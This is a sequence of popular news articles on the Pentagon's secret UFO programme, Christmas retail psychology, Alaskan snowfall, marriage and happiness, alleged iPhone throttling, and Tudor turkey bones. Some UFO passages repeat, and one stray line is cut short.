More recently, the department has assessed the threat posed by UFOs and Robert Bigelow has modified some of his company's buildings to store materials reportedly recovered from the scene of UFO sightings.

Those involved insist they made progress. In 2009, Senator Reid wrote to then deputy defence secretary, William Lynn, requesting heightened security to protect the programme. 'Much progress had been made with the identification of several highly sensitive, unconventional aerospace-related findings,' he said.

At the same time, a Pentagon briefing by the UFO project's director, Mr Elizondo, claimed that 'what was considered science fiction is now science fact', says the New York Times.

He warned that the U.S. was incapable of defending itself against the technologies that had been discovered, although he conceded none of the UFOs showed 'overt hostility'. A project insider told the website Politico, however, that the programme couldn't justify using taxpayers' money. It lost its funding.

David Fravor told ABC News yesterday: 'I can tell you, I think it was not from this world. I'm not crazy, haven't been drinking. After 18 years of flying, I've seen pretty much about everything I can see in that realm, and this was nothing close'

Mr Elizondo quit in October, in protest at what he said was excessive secrecy and internal opposition to his work. But the Pentagon insisted it would act 'whenever credible information is developed'.

The U.S. has investigated UFOs before, notably in 1949 when it launched a 20-year study  Project Blue Book  into more than 12,000 sightings. Although 701 were never explained, the report attributed most to people seeing conventional aircraft or spy planes, stars and clouds.

Many will laugh at the U.S. government wasting so much time and money on them. But others think they were on to something.

The Navy pilot who says he saw that astonishing craft off San Diego, Commander David Fravor, told ABC News yesterday: 'I can tell you, I think it was not from this world. I'm not crazy, haven't been drinking. After 18 years of flying, I've seen pretty much about everything I can see in that realm, and this was nothing close.

'I have never seen anything in my life, in my history of flying that has the performance, the acceleration  keep in mind this thing had no wings'.

And former senator Harry Reid is sticking to his guns. 'I'm not embarrassed or ashamed or sorry I got this thing going. I've done something that no one has done before,' he said.

As news of his UFO secret emerged, he even borrowed The X-Files' famous catchline, tweeting: 'The truth is out there.'
Christmas is around the corner and the gift-giving ritual is well underway, leaving many of us with much lighter pockets.

But now, scientists have revealed the methods of manipulation that brands and retailers use to get us to keep spending our hard earned cash.

In an article for The Conversation, Dr Paul Harrison, senior lecturer at Deakin University Business School in Victoria, Australia explains how they keep us buying.

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The masters of marketing know and understand innate human flaw. Marketers subtly give us permission to buy and not to think too much, or too deeply, about why we're buying (stock image)

3 TRICKS TO INCREASE SALES AT CHRISTMAS The scarcity effect - If we think something is only available for a limited time, we make it a priority and believe it to be more important. Christmas is a hard deadline, so we are limited in our freedom to delay the purchase decision. Scarcity influences our ability to think clearly when making decisions, and accelerates our perceived perishability of an offer. We feel that if we don't participate in the Christmas ritual, we will miss out on a significant social experience. Overwhelming stimuli - When we walk into a shopping mall filled with Christmas tinsel, Christmas music, lights and sounds, we are going to experience some form of ego depletion. In psychology, the term is used to describe how people don't always think through their decision-making in a rational and linear way when placed under situations of stress. Marketers don't want you to think; just to feel the Christmas magic. Our inability to predict the future - If we think about Christmas lunch or dinner, few of us can plan how much food we will actually need and we aren't very good at knowing how much we will end up eating (or need to eat). We pile our plate high, because we don't really know how much we need, but do know how much we want. Advertisement

Many people see marketing as a form of manipulation, particularly around Christmas and the other retail bonanzas: Easter, Valentine's Day, Mothers' Day and Fathers' Day.

But rather than simply trying to trick people, the masters of marketing know it's much easier to understand and work with innate human flaws.

By drawing on a plethora of psychological and sociological research, marketers subtly give us permission to buy and not to think too much, or too deeply, about why we're buying.

Not thinking all the time is a very efficient way for us to get by.

It conserves energy, and allows us to live relatively easily by responding to our psychological predispositions, social norms, and general cognitive imperfections.

Here are some of our flaws marketers use to nudge us towards consumption.

The scarcity effect

Scarcity theory tells us that if we think something is scarce or only available for a short time, our mind will give it more weight.

Christmas is a hard deadline, so we are limited in our freedom to delay the purchase decision.

Scarcity influences our ability to think clearly when making decisions, and accelerates our perceived perishability of an offer.

We feel that if we don't participate in the Christmas ritual, we will miss out on a significant social experience.

In 2017? Not quite.

Melbourne City, for example, has its annual 'Shop the City' promotion in the first week of December, where major retailers offer discounts available only on the day.

Similarly, many shops are offering Christmas-only bundles or gift sets, often at a 'discount' (which 'doubles' the scarcity effect).

All of these tap into our willingness to respond to the scarcity effect and feel the need to buy things we would normally ignore.

EXAMPLES OF SHOPS USING THE TACTICS 1) Amazon uses the scarcity effect Many retailers, including Amazon, are offering Christmas-only bundles or gift sets, often at a 'discount' (which doubles the scarcity effect). Amazon.com and Amazon.co.uk currently has a section on its website called 'Last minute Christmas Deals', with several 'discounted' items. This 'special offer' taps into our willingness to respond to the scarcity effect and feel the need to buy things we would normally ignore. 2) Starbucks uses overwhelming stimuli Since the beginning of November, Starbucks has been playing Christmas music, and using its iconic red Christmas cups. Psychologically, this technique causes us to spend through 'ego depletion.' The term is used to describe how people don't always think through their decision-making in a rational and linear way when placed under situations of stress. Instead of thinking about it, you subconciously feel the Christmas magic, encouraging you to buy more. 3) Wholefoods plays on our inability to forecast Wholefoods has laid out its supermarkets in a way that plays on our inability to forecast. Its baked goods and flowers are always at the front of the store. Their appealing smell activates your salivary glands, making you more likely to purchase on impulse, even if you don't need the goods. Advertisement

Remember Christmas won't be your only opportunity to show others how much you love them, or to spend time with your family.

It seems obvious, but you can buy people gifts at any time of the year.

All marketers are doing is tapping into your predisposition to value experiential scarcity during socially validated moments to encourage you to behave in particular ways.

Overwhelming stimuli

By surrounding us with stimuli designed to overwhelm our cognitive processing, we are less likely to think through our decisions in any complete way.

When we walk into a shopping mall filled with Christmas tinsel, Christmas music, lights and sounds, we are going to experience some form of ego depletion.

Ego depletion doesn't mean you instantly become a humble, thoughtful person.

In psychology, we use this term to describe how people don't always think through their decision-making in a rational and linear way when placed under situations of stress.

Marketers don't want you to think; just to feel the Christmas magic.

So, all that noise, colour and movement, isn't just the shopping centre or strip getting into the festive season.

It's also a technique to get you to think a little less completely, and respond to emotional cues, such as social norms, FOMO (fear of missing out), and rituals.

If we're looking around and our environment is signalling this is what we do at Christmas time, then it's easier to comply than to resist. It's hard to resist the festive pull (stock image)

HOW TO RESIST THE TEMPTATION Resisting any natural response requires a commitment to the idea of resistance, a willingness to practise that resistance at all times (we know the more we do something, the easier it becomes) and, importantly, surrounding ourselves with people who will help us to resist, or at least won't sabotage that resistance. This doesn't mean cutting yourself off from society. But it does mean coming to terms with the idea you are open to manipulation, framing, priming and persuasion, and coming up with ways to avoid it. Focus on the idea of Christmas  time with family and friends, treating ourselves to novel food, eating all the great fruit that's available this time of year  rather than succumbing to the commercial nudges that seem to have become imperative to Christmas. Give gifts if you wish, but think about what is moving you toward buying those gifts. With this knowledge, you might make a few better choices. Advertisement

Our inability to forecast

Psychological research tells us humans aren't very good at predicting the future.

Or perhaps we just have an over-inflated sense of our accuracy in predicting the future  we rely on how we feel right now to predict how we might feel about something later.

Psychologists call this affective forecasting.

So, in the moment, and just in that moment, we buy things we think we will need.

But we discount all the other things that we have bought, and also discount how having all that stuff didn't necessarily make things great last time.

We all just want to have a good Christmas.

If we think about Christmas lunch or dinner, few of us can plan how much food we will actually need and we aren't very good at knowing how much we will end up eating (or need to eat).

We pile our plate high, because we don't really know how much we need, but do know how much we want.

Lots and lots. Just in case we miss out on something great.

It's the same with gifts. We often don't plan, and so we are more susceptible to the gentle nudges of the marketers when we are stressed, in a hurry, and trying to do ten things at once.

How to resist the temptation

Despite our belief that we are all individuals, making independent decisions and choosing what we want and when we want it, humans are social, conforming and compliant creatures.

If we see 'our people' are doing something, we tend to assume this is something we should also do.

If we're looking around and our environment is signalling this is what we do at Christmas time, then it's easier to comply than to resist.

It's hard to resist the festive pull.

Christmas is a tough time to commit to reducing consumption, but it is possible.

Resisting any natural response requires a commitment to the idea of resistance, a willingness to practise that resistance at all times (we know the more we do something, the easier it becomes) and, importantly, surrounding ourselves with people who will help us to resist, or at least won't sabotage that resistance.

This doesn't mean cutting yourself off from society. But it does mean coming to terms with the idea you are open to manipulation, framing, priming and persuasion, and coming up with ways to avoid it.

Focus on the idea of Christmas  time with family and friends, treating ourselves to novel food, eating all the great fruit that's available this time of year  rather than succumbing to the commercial nudges that seem to have become imperative to Christmas.

Give gifts if you wish, but think about what is moving you toward buying those gifts. With this knowledge, you might make a few better choices.
Snowfall on an Alaskan mountain range has more than doubled since the start of the industrial age, a new study has revealed.

The Alaska Range now has an average of 5.4 metres (18 feet) of snow per year - up from an average of 2.4 metres (eight feet) per year from 1600-1840.

According to the researchers, this increase in snowfall is evidence that climate change can trigger major increases in regional precipitation.

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The Alaska Range now has an average of 5.4 metres (18 feet) of snow per year - up from an average of 2.4 metres (eight feet) per year from 1600-1840

THE STUDY Researchers analysed two ice core samples collected at 13,000 feet from Mount Hunter in Alaska's Denali National Park. Their analysis revealed that the Alaska Range now has an average of 5.4 metres (18 feet) of snow per year - up from an average of 2.4 metres (eight feet) per year from 1600-1840. The study suggests that warming tropical oceans have driven the increased snowfall by strengthening the northward flow of warm, moist air. Advertisement

The study by researchers from Dartmouth College, the University of Maine and the University of New Hampshire, shows modern snowfall levels in the Alaska Range at the highest in at least 1,200 years.

Dr Erich Osterberg, lead author of the study, said: 'We were shocked when we first saw how much snowfall has increased.

'We had to check and double-check our results to make sure of the findings.'

The research was based on an analysis of two ice core samples collected at 13,000 feet from Mount Hunter in Alaska's Denali National Park.

The study suggests that warming tropical oceans have driven the increased snowfall by strengthening the northward flow of warm, moist air.

The research builds on a previous study using the same ice cores that showed an intensification of winter storm activity in Alaska and Northwestern Canada, driven by the same strengthening 'Aleutian Low' system.

Mr Dominic Winski, an author of the study, said: 'Everywhere we look in the North Pacific, we're seeing this same fingerprint from warming tropical oceans.

This graph shows the dramatic doubling of snowfall around North America's highest peaks since the beginning of the Industrial Age. Inset shows summer (red) and winter (blue) snowfall since 1870

KEY GOALS OF THE PARIS AGREEMENT The Paris Agreement on Climate Change has four main goals with regards to reducing emissions: 1) A long-term goal of keeping the increase in global average temperature to well below 2C above pre-industrial levels 2) To aim to limit the increase to 1.5C, since this would significantly reduce risks and the impacts of climate change 3) Goverments agreed on the need for global emissions to peak as soon as possible, recognising that this will take longer for developing countries 4) To undertake rapid reductions thereafter in accordance with the best available science Source: European Commission Advertisement

'Wintertime climate in the North Pacific is very different than it was 200 years ago.'

Scientists have long concluded that carbon dioxide and other emissions from industry are driving planetary warming, leading to floods, droughts, and more frequent powerful storms.

But researchers have only more recently begun detailing how climate change can boost regional precipitation patterns, in some cases with devastating consequences.

A group of scientists led by non-profit scientific research group Climate Central published a report earlier this month saying climate change contributed significantly to rainfall from Hurricane Harvey, which flooded Houston in August and September and caused billions of dollars in damage.

Every nation in the world except the United States has joined a global pact to fight climate change.

President Donald Trump announced the US withdrawal from the 2015 Paris Climate Agreement in June, saying it was too costly for the US economy.
A former Pentagon official who led a secret government program to combat UFO attacks says he believes aliens have visited Earth.

Luis Elizondo previously ran the Advanced Aerospace Threat Identification Program, which leaked records show investigated reports of clashes with unidentified aircraft.

The former chief of the $22 million (16.5 million) project says he thinks 'we may not be alone', based on numerous reports he read on encounters with the flying craft.

Many reportedly displayed out of this world capabilities in terms of both speed and manoeuvring.

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A former Pentagon official who led a secret government program to combat UFO attacks says he believes aliens have visited Earth. Luis Elizondo previously ran the Advanced Aerospace Threat Identification Program and says he thinks 'we may not be alone'

REPORTED SIGHTINGS Among the sightings were reports from pilots of two U.S. Navy Super Hornet fighters who spotted a UFO on a training mission. They were 100 miles from San Diego in the Pacific when a call on their radios asked if they were carrying weapons. The unusual request, that day in 2004, came from a naval cruiser, the Princeton, that had spent two weeks tracking unidentified aircraft. Commanders David Fravor and Jim Slaight had only dummy missiles, but were directed to investigate objects that appeared suddenly at an altitude of 80,000ft, then plunged towards the sea. Hovering erratically 50ft above that spot was some sort of flying craft, around 40ft long, oval-shaped and whitish. As the pilot descended towards it, it rose to meet him, but suddenly peeled away at an immense speed that he admits left him feeling 'pretty weirded out'. The craft 'had no plumes, wings or rotors' but, seemingly travelling at a mile a second, easily outran America's fastest military jets. Advertisement

News of the off-the-books Department of Defense (DoD) program emerged over the weekend.

It sought to identify what had been seen, either through tools or eyewitness reports, and then 'ascertain and determine if that information is a potential threat to national security.'

Mr Elizondo resigned from the DoD in October in protest over what he has termed excessive secrecy and internal opposition to the project, whose funding was cut in 2012.

He has now said there is evidence which leads him to believe alien aircraft have visited the planet.

Speaking to CNN, he said: 'My personal belief is that there is very compelling evidence that we may not be alone.

'These aircraft - we'll call them aircraft - are displaying characteristics that are not currently within the US inventory nor in any foreign inventory that we are aware of.

'Things that don't have any obvious flight services, any obvious forms of propulsion, and maneuvering in ways that include extreme maneuverability beyond, I would submit, the healthy G-forces of a human or anything biological.'

Among the sightings were reports from pilots of two U.S. Navy Super Hornet fighters who spotted a UFO on a training mission.

The former chief of the $22 million (16.5 million) project says he thinks 'we may not be alone', based on numerous reports he read on encounters with the flying craft. Many reportedly displayed out of this world capabilities in terms of both speed and manoeuvring

They were 100 miles from San Diego in the Pacific when a call on their radios asked if they were carrying weapons.

The unusual request, that day in 2004, came from a naval cruiser, the Princeton, that had spent two weeks tracking unidentified aircraft.

Commanders David Fravor and Jim Slaight had only dummy missiles, but were directed to investigate objects that appeared suddenly at an altitude of 80,000ft, then plunged towards the sea.

At 20,000ft, they stopped and hovered before disappearing out of radar range or shooting up again.

A black and white colored video from a 2004 encounter shows fighter jets closing in on an unidentified object (circled red) before it quickly accelerates out of sight

The pilots could see nothing at first and then Commander Fravor looked down to the sea.

The water in one place was being churned by something just below the surface.

Hovering erratically 50ft above that spot was some sort of flying craft, around 40ft long, oval-shaped and whitish.

As the pilot descended towards it, it rose to meet him, but suddenly peeled away at an immense speed that he admits left him feeling 'pretty weirded out'.

The craft 'had no plumes, wings or rotors' but, seemingly travelling at a mile a second, easily outran America's fastest military jets.

SECRET PENTAGON DEPARTMENT INVESTIGATION ON UFO ATTACKS UFO enthusiasts have argued for decades that the U.S. government has been covering up the existence of unidentified craft containing alien visitors. The idea that a hush-hush government outfit was investigating sightings and other bizarre phenomena famously provided the basis for TV drama series The X-Files. Now, it seems the cult series wasn't such a flight of fancy after all. The shadowy programme's existence was intentionally buried in the defence department's $600 billion (448.76 bn) annual budget, as were its headquarters, deep within the labyrinthine Pentagon building. Based on the fifth floor of C Ring, the secret department has spent years investigating reports of unidentified flying objects. Although the Pentagon officially stopped funding the project in 2012, insiders told the New York Times it is still operating. And, more tantalisingly, intelligence experts who ran it, and politicians who backed it, insist its research has not been fruitless. Having investigated myriad reports from U.S. servicemen of encounters between unknown objects and military planes, they are convinced that nothing in this world can explain them. Advertisement

Fravor's comrades made fun of him when he described the encounter, but others in the U.S. military, we now know, took him seriously.

For the episode was one of scores of unexplained encounters between military personnel and UFOs that were investigated by a top-secret, multi-million-dollar programme run by the Pentagon.

Although it was set up in 2007, the existence of the Advanced Aviation Threat Identification Programme (AATIP) has only now emerged thanks to its former boss.

Its $22 million (15 million) of funding  so-called 'black money' for secretive projects  was known only to a few outsiders.

UFO enthusiasts have argued for decades that the U.S. government has been covering up the existence of unidentified craft containing alien visitors.

The idea that a hush-hush government outfit was investigating sightings and other bizarre phenomena famously provided the basis for TV drama series The X-Files.

Now, it seems the cult series wasn't such a flight of fancy after all.

The shadowy programme's existence was intentionally buried in the defence department's $600 billion (448.76 bn) annual budget, as were its headquarters, deep within the labyrinthine Pentagon building.

Based on the fifth floor of C Ring, the secret department has spent years investigating reports of unidentified flying objects.

Although the Pentagon officially stopped funding the project in 2012, insiders told the New York Times it is still operating.

And, more tantalisingly, intelligence experts who ran it, and politicians who backed it, insist its research has not been fruitless.

Having investigated myriad reports from U.S. servicemen of encounters between unknown objects and military planes, they are convinced that nothing in this world can explain them.

Navy Cmdr. David Fravor has recounted his experience with a mysterious object while on a mission with Navy Lt. Cmdr. Jim Slaight in November 2004

'If anyone says they have the answers now, they're fooling themselves,' said Harry Reid, the U.S. Senate Democrat leader for 12 years and the project's most powerful supporter. 'We do not know.'

Mr Reid, who retired recently as senator for Nevada, first directed the Pentagon to investigate the 'unidentified aerial phenomena' repeatedly identified.

In each case, the servicemen were convinced that what they saw was vastly more technologically advanced than anything in U.S. or foreign arsenals.

The man who inspired this 'X-Files department', Harry Reid, had the support of two other senior senators, both members of a defence spending sub-committee, who feared a threat to national security behind these chilling sightings. Their rationale was that if the mysterious craft were not aliens, then perhaps Russia or China had developed advanced technology to threaten the West.

Reid's interest in UFOs had originally been pricked by his friend Robert Bigelow, a billionaire hotel tycoon and government contractor who is investing millions in space projects such as inflatable modules for living on the Moon.

The program was created by then-Senate Majority Leader Harry Reid (pictured)

Mr Bigelow, who became convinced extra-terrestrials exist after his grandparents said they saw a UFO, has been investigating the paranormal for decades and bought a Utah ranch known for UFO sightings in the skies above.

The Pentagon UFO programme paid Mr Bigelow's Las Vegas-based aerospace research company to do most of its work.

Reid says he was also influenced by the veteran astronaut John Glenn, who had told him years earlier that the government should be seriously looking into UFOs and talking to military people who claimed to have seen them. Too often, their claims were not being passed up the chain of command because servicemen feared they would be ostracised. The Pentagon programme investigated scores of reported encounters  in some cases, such as Commander Fravor's, backed by video or audio evidence.

Newly released tapes make for disturbing listening. In another incident involving a U.S. Navy Super Hornet jet chasing a UFO that emitted a 'glowing aura travelling at high speed and rotating as it moves', a pilot is heard exclaiming: 'There's a whole fleet of them . . . My gosh, they're all going against the wind. The wind is 120 knots to the west.'

Suspiciously, sightings were often near nuclear facilities, be they ships or power plants. In many cases they involved aircraft that appeared to defy the laws of physics in their speeds and manoeuvrability. Often, they were able to move or hover with no visible means of propulsion or lift.

Seeking explanations, the Pentagon focused attention on other phenomena that sound as if they've come from a sci-fi convention. They included warp drives (faster than light spacecraft propulsion), and wormholes (theoretical passages in space-time that could create shortcuts).

The Advanced Aviation Threat Identification Program ran from 2007 to 2012, with a $22 million annual budget

Researchers also analysed people claiming to have experienced physical effects from encounters.

The Pentagon investigators are likely to have talked to some of the 120 retired military personnel who  according to UFO researchers  have described encounters near nuclear missile bases. Some believe aliens were monitoring them to ensure humanity didn't blow itself up by accident.

They include Air Force captain Robert Salas, an intercontinental ballistic missile launch officer on duty at Malmstrom Air Force Base in Montana one night in 1967.

He says he was warned by his men 'screaming into the phone' that a mysterious 'glowing red object' had been spotted over their missile silo, which was 60ft underground. Moments later, they discovered that all 10 Minuteman missiles had been deactivated.

Robert Jamison, the base's targeting officer, confirmed the report and said he heard about a UFO landing in a 'deep ravine' nearby. He said he spoke to a security guard, who described 'two small red lights off at a distance' that began to close in. The guard then broke down and started crying.

More recently, the department has assessed the threat posed by UFOs and Robert Bigelow has modified some of his company's buildings to store materials reportedly recovered from the scene of UFO sightings.

Those involved insist they made progress. In 2009, Senator Reid wrote to then deputy defence secretary, William Lynn, requesting heightened security to protect the programme. 'Much progress had been made with the identification of several highly sensitive, unconventional aerospace-related findings,' he said.

At the same time, a Pentagon briefing by the UFO project's director, Mr Elizondo, claimed that 'what was considered science fiction is now science fact', says the New York Times.

He warned that the U.S. was incapable of defending itself against the technologies that had been discovered, although he conceded none of the UFOs showed 'overt hostility'. A project insider told the website Politico, however, that the programme couldn't justify using taxpayers' money. It lost its funding.

David Fravor told ABC News yesterday: 'I can tell you, I think it was not from this world. I'm not crazy, haven't been drinking. After 18 years of flying, I've seen pretty much about everything I can see in that realm, and this was nothing close'

Mr Elizondo quit in October, in protest at what he said was excessive secrecy and internal opposition to his work. But the Pentagon insisted it would act 'whenever credible information is developed'.

The U.S. has investigated UFOs before, notably in 1949 when it launched a 20-year study  Project Blue Book  into more than 12,000 sightings. Although 701 were never explained, the report attributed most to people seeing conventional aircraft or spy planes, stars and clouds.

Many will laugh at the U.S. government wasting so much time and money on them. But others think they were on to something.

The Navy pilot who says he saw that astonishing craft off San Diego, Commander David Fravor, told ABC News yesterday: 'I can tell you, I think it was not from this world. I'm not crazy, haven't been drinking. After 18 years of flying, I've seen pretty much about everything I can see in that realm, and this was nothing close.

'I have never seen anything in my life, in my history of flying that has the performance, the acceleration  keep in mind this thing had no wings'.

And former senator Harry Reid is sticking to his guns. 'I'm not embarrassed or ashamed or sorry I got this thing going. I've done something that no one has done before,' he said.

As news of his UFO secret emerged, he even borrowed The X-Files' famous catchline, tweeting: 'The truth is out there.'
Marriage is often referred to as 'the old ball and chain', in which your partner holds you back from doing what you really want.

But a new study suggests that this isn't the case, and instead, marriage really does make you happy - in fact, it can double your contentment.

In particular, researchers suggest that middle-aged people experience the biggest boost in happiness through marriage  especially if they refer to their spouse as their best friend.

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Marriage is often referred to as 'the old ball and chain', in which your partner holds you back from doing what you really want. But a new study suggests that this isn't the case, and instead, marriage really does make you happy (stock image)

THE STUDY Researchers used data from two UK surveys to analyse whether being married affects your happiness. Their analysis revealed that married people were more satisfied with life than singles. The boost that being married gave to a person was especially high during middle age - a period in life that is often associated with a dip in well-being. The researchers also found that people who think their partner is their best friend benefit the most from marriage and living together. The team suggests that happiness that is associated with marriage seems to flow through social channels. This indicates that friendship could help explain why the benefits of marriage don't decrease with time, and why partners are often referred to as 'super-friends.' Advertisement

Researchers from the Vancouver School of Economics used data from two UK surveys to analyse whether being married affects your happiness.

Data was gathered from the long-term British Household Panel Survey (BHPS), which was collected from around 30,000 people between 1991 and 2009, and the United Kingdom's Annual Population 2011 to 2013 Survey, which involved more than 328,000 people.

Their analysis revealed that married people were more satisfied with life than singles.

And those living as a couple, but not married, were much like the married.

Professor John Helliwell, co-author of the study, said: 'Even after years the married are still more satisfied.

'This suggests a causal effect at all stages of the marriage, from pre-nuptial bliss to marriages of long-duration.'

The boost that being married gave to a person was especially high during middle age - a period in life that is often associated with a dip in well-being.

The boost that being married gave to a person was especially high during middle age - a period in life that is often associated with a dip in well-being (stock image)

THE SECRET TO A HAPPY MARRIAGE The secret to a happy marriage may be in making an effort with the small things. Small gestures topped the list of things that make people feel loved, according to new research. People agreed gestures such as snuggling with someone was more loving than someone simply saying, 'I love you', researchers found. Over-the-top romantic gestures don't make people feel loved and controlling behaviours - like someone wanting to know where they were at all times - were seen a quick way to lose a relationship. Advertisement

Professor Helliwell said: 'Marriage may help ease the causes of a mid-life dip in life satisfaction and the benefits of marriage are unlikely to be short-lived.'

The researchers also found that people who think their partner is their best friend benefit the most from marriage and living together.

Professor Helliwell explained: 'The well-being benefits of marriage are much greater for those who also regard their spouse as their best friend.

'These benefits are on average about twice as large for people whose spouse is also their best friend.'

The researchers suggest that happiness that is associated with marriage seems to flow through social channels.

This indicates that friendship could help explain why the benefits of marriage don't decrease with time, and why partners are often referred to as 'super-friends.'
The phenomenon may also has a p

Apple intentionally throttles the performance of its smartphones when a battery gets too old, a new study has claimed.

A consumer watchdog that evaluates electronic gadgets' performance found that processing power of older models is limited once battery life begins to suffer.

This is not the first time Apple has been accused of the practice, which some believe is an attempt to force users to upgrade to the latest model.

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Apple intentionally throttles the performance of its smartphones when a battery gets too old, a new study has claimed, including the iPhone 6 and 7, once battery life begins to suffer. This image shows CEO Tim Cook at the launch of the iPhone 6 on September 9, 2015

PLANNED IPHONE OBSOLESCENCE? This is not the first time Apple has been accused of deliberately throttling the performance of its older phones. Explanations for the slowness range from Apple's iOS causing problems on older devices to the firm deliberately slowing down old phones to make people buy the new handsets. This latter explanation is known as planned, or built-in, obsolescence. This is the idea that manufacturer's deliberately make their products in such a way that they become out-of-date sooner. By doing this, the companies can encourage customers to buy the latest model of a certain product. This also stimulates demand for products because people return again and again. Advertisement

In benchmark tests, experts from Toronto-based firm Geekbench found that on certain versions the Apple operating system, phones with older batteries achieved much lower performance scores.

Battery capacity is expected to decrease as they age, but processor performance should stay the same.

However, users with older iPhones with lower-than-expected Geekbench scores have reported that replacing the battery increases their score, as well as the performance of the phone.

Geekbench developer John Poole decided to analyse the results of a number of iPhone 6 and 7 models running various versions of iOS.

He found that an update issued to fix a ' sudden shutdown' issue, when users found their iPhone 6 was turning off when its battery reached half charge, was to blame.

This resulted in the poor performance results observed.

Writing in a blog post, Mr Poole said: 'It appears the problem is widespread, and will only get worse as phones, and their batteries, continue to age.

'I believe, as do others, that Apple introduced a change to limit performance when battery condition decreases past a certain point.

'If the performance drop is due to the sudden shutdown fix, users will experience reduced performance without notification.

'Users expect either full performance, or reduced performance with a notification that their phone is in low-power mode.

'This fix creates a third, unexpected state.'

Without this warning Mr Poole believes that the fix will cause users to believe their phone is slow so they should replace it, rather than the battery which is actually at fault.

'This will likely feed into the planned obsolescence narrative,' he added.

Every time Apple launches a new handset people seemingly flock to Google to ask why their current iPhone or iOS is slow.

This trend has been seen every year since Apple released the iPhone 3G in 2008.

Explanations for the slowness range from Apple's iOS causing problems on older devices to the firm deliberately slowing down old phones to make people buy the new handsets.

This latter explanation is known as planned, or built-in, obsolescence.

Geekbench developer John Poole decided to analyse the results of a number of iPhone 6 and 7 models running various versions of iOS. He found an update issued to fix a ' sudden shutdown' issue wit the iPhone 6 was to blame for poor performance

This is the idea that manufacturer's deliberately make their products in such a way that they become out-of-date sooner.

By doing this, the companies can encourage customers to buy the latest model of a certain product.

This also stimulates demand for products because people return again and again.

Alternatively, the so-called 'slow iPhone phenomenon' may be psychological, as people believe their phone is being sluggish even if its not.

In a blog post Felix Richter, from analytics firm Statista, said: 'Many of us know the feeling: one day we're perfectly happy with the smartphone we've been using for the past 12 months, the next day, after we've seen a colleague showing off his new gadget, ours suddenly feels inadequate, bulky and slow.

'The good news is we're not alone.'

He continued there are two possible explanations for these spikes.

The first is that it is a psychological phenomenon caused when people convince themselves their old phone is slow in comparison to the latest devices, and this could help them justify buying a new one.

Google Trends data (pictured) shows that searches for 'slow iOS' and 'slow iPhone' significantly peaked on the days after each was released. Explanations range from Apple's iOS causing problems to the firm deliberately slowing down old phones to make people upgrade

The second explanation, which Mr Richter said is much more plausible, is down to the operating system not being compatible with the hardware on older phones.

New operating systems are often designed to work most effectively with the more advanced processing power and RAM seen in the newer models meaning older models can struggle to keep up.

In 2014, a study by Harvard University PhD student Laura Trucco appeared to back up conspiracy theories that Apple deliberately slows down older models of its iPhones to encourage users to buy a new release.

The study analysed worldwide searches for 'iPhone slow' and compared those results with similar searches for the term 'Samsung Galaxy slow'.

Interestingly, it discovered the term was unaffected by new releases from Samsung, but this may be due to the fact Android updates aren't rolled out at the same time like iOS ones are.

APPLE SUDDEN SHUTDOWN The technical issue causes some iPhone 6s handsets to shut down unexpectedly. The Cupertino-based technology firm will replace batteries on affected devices. 'iPhone 6s devices made in September and October 2015 contained a battery component that was exposed to controlled ambient air longer than it should have been before being assembled into battery packs,' the company said. The issue only affected a 'relatively small batch' of the devices manufactured in 2014, says Apple. The firm will not disclose the exact numbers or what regions are affected. Advertisement

While some MailOnline readers said at the time they hadn't noticed a slow down, others claimed Apple sabotages older phones through software updates.

'This is common knowledge,' one reader wrote.

'If you want to keep your iPhone running at the same pace do not do the software upgrade that comes out within six months of a new iPhone release,'

Sendhil Mullainathan, a professor of economics at Harvard, described the results of the study as 'striking'.

But added it does not prove Apple has done anything wrong.

No matter how suggestive, he said, the data alone doesn't allow anyone to determine conclusively whether their phone is any slower.

There are other explanations for why an older model iPhone may slow down, he claims.

Apples iPhone 6s battery fiasco caused some iPhone 6s handsets to shut down without warning. The issue only affected a 'relatively small batch' of the devices manufactured in 2014

For instance, the latest version of the Apple operating system, iOS, is always tailored to the newest device and may therefore not work as efficiently on older models.

'Hearing about a new release makes you contemplate getting a new and faster phone,' he said. 'And you suddenly notice how slow your old phone is.'

Dom Ferkin, managing director of UK-based iOS experts, Creation Application, agrees. He previously told MailOnline he doesn't believe Apple is doing this intentionally.

'On every hardware release they tend to upgrade the chips and they are faster every time they are released,' he said.

'Each year they release a new iOS. If you're running an iOS 7 on a 5 chip, for example, it's comparable to running Windows XP on a Windows 95 machine.
While many of us enjoy turkey as part of our annual Christmas dinner, the animals have only been in Britain since 1524, when they were brought over from the Americas.

Now, researchers believe they may have evidence of the first turkey dinner, in the form of three turkey bones dating back to around 1520-1550.

The bones were discovered under Paul Street in Exeter, and date from almost exactly the same time as the first birds came to England.

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Researchers believe they may have evidence of the first turkey dinner, in the form of three turkey bones dating back to around 1520-1550. The bones were discovered under a street in Exeter, and date from almost exactly the same time as the first birds came to England

THE FINDINGS Researchers have analysed two turkey femurs (thigh bones) and an ulna (wing), which were found alongside Spanish, German and Italian pottery and glassware. The team believes these items could have been on the table when the turkey dinner was served. While the bones were first discovered in 1983, they have now been analysed, and dated to 1520-1550. Further analysis has revealed that the bones were butchered and probably eaten as part of a feast by wealthy people. Also found at the site were the remains of a veal calf, several chickens, at least one goose and a sheep. Advertisement

Researchers from the University of Exeter analysed two turkey femurs (thigh bones) and an ulna (wing), which were found alongside Spanish, German and Italian pottery and glassware.

The team believes these items could have been on the table when the turkey dinner was served.

England was first introduced to turkeys in 1524 by William Strickland, a member of Parliament in the reign of Elizabeth the first, following a voyage to the Americas.

Strickland is recorded to have bought six turkeys from Native American traders, and after he sailed back with them to Bristol, which is 80 miles (128 kilometres) away from Exeter, sold them for tuppence each.

Turkeys would have been a rare sight when they first appeared in England, and the first birds are likely to have been kept as pets, rather than served as food.

But by 1550, turkeys were commonly eaten at Christmas dinners.

Researchers from the University of Exeter have analysed two turkey femurs (one pictured) and an ulna, which were found alongside Spanish, German and Italian pottery and glassware. Turkeys would have been a rare sight when they first appeared in England

Historians even suggest that Henry VIII may have had turkey for Christmas.

While the bones were first discovered in 1983, they have now been analysed, and dated to 1520-1550.

Professor Alan Outram, Head of Archaeology at Exeter, said: 'As the date of these bones overlaps with the historical evidence of Stickland's introduction of the birds, the remains of this feast may well represent the earliest physical evidence for a turkey dinner in Britain.

While the bones were first discovered in 1983, they have now been analysed, and dated to 1520-1550. The first turkeys that arrived in Britain are likely to have been kept as pets, rather than served as food

